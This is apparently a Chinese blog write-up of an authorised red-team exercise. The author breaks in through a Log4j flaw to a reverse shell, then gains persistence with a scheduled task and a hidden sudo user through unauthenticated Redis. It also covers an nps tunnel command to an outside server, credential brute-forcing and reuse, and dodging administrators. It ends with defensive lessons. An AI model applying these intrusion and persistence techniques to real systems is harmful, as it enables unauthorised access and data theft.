红队实战 | Log4j打点后与管理员斗智斗勇

上官雨宝2022-07-19 15:12:06

概述

这是本系列第三篇文章,依旧是某省HVV红队的经历。

过程中只用到很简单的方法,所以加了个标题“有手就行”。

这家企业在内网犯了几乎所有能犯的错误,打起来也比较顺利,只不过当时被管理员发现了,争分夺秒的过程也比较有趣哈哈。

文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。

所介绍方法请勿用于非法用途!转载请注明出处谢谢。

信息收集

先摸一下这个公司的资产,就用example.com代替域名好了。

发现技术栈比较新,大部分都是前后端分离的,后端的接口有一个统一的网关,梳理下。

列举部分:
前端:https://op.example.com/login 手机或账号登录 可找回密码 没找到
接口:https://webapi.example.com:20860/gateway-dev/usercenter/
前端:http://chm.example.com/login
接口:http://webapi.example.com:20860/chm/
前端:https://oa.example.com/auth/login 爆不出来 
接口:http://api.example.com:20242/gateway/organization-center/
前端:https://test.example.com/auth/login 跟oa的界面很像
接口:http://api.example.com:20242/gateway-test/organization-center/
前端:http://cms.example.com/login 失效了
接口:https://api.example.com:20242/authTest/login
前端:https://vm.example.com/login
接口:https://api.example.com:21915/login

Log4j进入内网

其他曲折的打点就不提了,说下成功的。

发现 https://oa.example.com/ 的登录接口存在Log4j漏洞,使用https://github.com/WhiteHSBG/JNDIExploit 的反序列化方法直接反弹shell。

主机上没有EDR,出网(废话),是10段的普通用户。

进来先写个计划任务保证断了之后shell还能弹。

内网横向

第一阶段

内网横向肯定得fscan出场了,这里也推荐下我写的缝合怪,求Star! https://github.com/u21h2/nacs (能扫常见组件和字段的Log4j)。

一般刚开始就扫个C段就行了,好巧不巧,发现了我最喜欢的Redis未授权,进去发现还是root用户,但是不出网。

这种情况我一般会创建一个sudo免密的新用户,就adduser然后visudo就可以了,用户名字起地别太假。

然后在出网的机器用nps搭一个隧道出来,服务端提前配好,客户端就三句话的事。

wget https://github.com//ehang-io/nps/releases/download/v0.26.10/linux_amd64_client.tar.gz
tar -zxvf linux_amd64_client.tar.gz
nohup ./npc -server=xxx.xxx.xxx.xxx:xxx -vkey=xxx > npc.log 2>&1 &

然后在本地proxifier走这个socks代理,ssh我们创建的用户,这样体验就好一些,反弹shell太难用了。

第二阶段

然后继续内网扫描,首先用扫描器的icmp模块看看内网有多大,然后再扫。

内网不大,就两个C段资产比较多。

我一般习惯先拿非web资产,最后再看web资产。

首先把所有的redis未授权和弱口令都利用了,一共拿到大约12台机器,然后进去翻web服务的配置文件,把数据库密码找到,发现几个经常用的强口令,补充到扫描器里接着爆扫数据库和服务器。

被发现

搞到一半突然发现代理断了,shell也弹不过来了,看了下入口的oa界面,后面的接口直接不通了,应该是oa后端对应的服务器直接关机了。难道是检测到出网流量了?

这不完犊子了吗。

再打个口子

回过头看上边信息收集的资产,test.example.com的界面跟oa很像,而且后端的接口也很像,会不会...?

果然,也有Log4j漏洞,也是普通用户,是另一台机器。

看了下我刚开始redis的跳板还没掉,应该就是出网流量被检测到了。

是HVV最后一天了,资产也不多,不管那么多了。

多找些机器开socks代理接着打。

继续横向

接着来看web服务,发现有很多nacos的服务,都有身份绕过的洞,进去又找到一堆数据库和AK的配置,接着补充到漏扫进行爆破。

还发现了许多生产系统都是弱口令,除了默认口令就是123456和admin123。

比如

还有Flink、Sentinel等等。

又掉了

ssh上去的redis机器又没了,但是代理还有通的,换一台机器接着用就是了。

LDAP

在内网又发现一个LDAP服务的管理端,管控着jira、jenkins等服务。

这玩意应该有一个接口能直接跳转登录吧?可惜我不会,但好在了里面写了能解密的密码,我们可以手动登相关系统。

解密后登录堡垒机

几十台机器都能连

Jira 可以看到开发过程以及代码

爆破结果

根据之前补充的密码,又爆破到不少新的数据库和服务器,基本两个C段的资产都拿到了吧,算作打穿了。

还拿到一些AK,能连上OSS看数据,危险啊。

思考

我边打,管理员边关机,还是挺有趣的哈哈。

1.攻:因为是最后一天了,急着刷分交报告,就没有做太多隐藏的手段,导致被管理员发现好多次,不太优雅。

2.防:既然能发现我,说明是有安全设备的,但应该只开了告警,没开阻断模式;只能等管理员上线手动处理,从防守上就被动了。

3.防:这个公司内网犯了挺多错的:密码复用、弱口令、漏洞不修、不隔离、服务器出网。

httpslog4j
本作品采用《CC 协议》,转载必须注明作者和本文链接
随着时间的推移,旧的漏洞会不断消失,而这个Log4j中的RCE漏洞可能需要几年的时间才能得到妥善解决。
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,漏洞银行安全团队注意到了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经漏洞银行安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flin
美国联邦贸易委员会 (FTC) 已警告对未能保护其基础设施免受 Log4Shell 攻击的公司采取法律行动。
前端采用 D2Admin 、Vue。后端采用 Python 语言 Django 框架。权限认证使用 Jwt,支持多终端认证系统。整合最新技术,模块插件式开发,前后端分离,开箱即用。核心技术采用 Spring、MyBatis、Shiro 没有任何其它重度依赖。包括二次封装组件、utils、hooks、动态菜单、权限校验、按钮级别权限控制等功能。
Apache Log4j2从RCE到RC1绕过本文首发于先知社区:https://xz.aliyun.com
Apache Log4j2 (CVE-2021-44228)漏洞的利用呈加剧趋势,奇安信威胁情报中心将收集持续整理IOC供安全社区使用。 我们创建的Github项目https://github.com/RedDrip7/Log4Shell_CVE-2021-44228_related_attacks_IOCs也会同步更新,最新的数据请尽可能直接从Github的库获取。 使用Apache Log
Apache Log4j2是一款Java开源日志组件,该工具重写了Log4j框架,该日志框架被大量用于业务系统开发,用来记录日志信息。多数情况之下,开发者可能会将用户输入导致的错误信息写入日志中。此漏洞的严重性、影响面,堪称史上之最。若程序使用gradle打包,可查看编译配置文件,若在dependencies部分存在相关字段,且版本号为小于,则存在该漏洞。
近日,Datto面向MSP发布了免费的Log4j2漏洞枚举、缓解和攻击检测工具,可应用于任何远程监控和管理解决方案。
利用 Log4j 漏洞构造的蜜罐
log4j2攻击排查工具、黑客攻击IP情报
上官雨宝
是水水水水是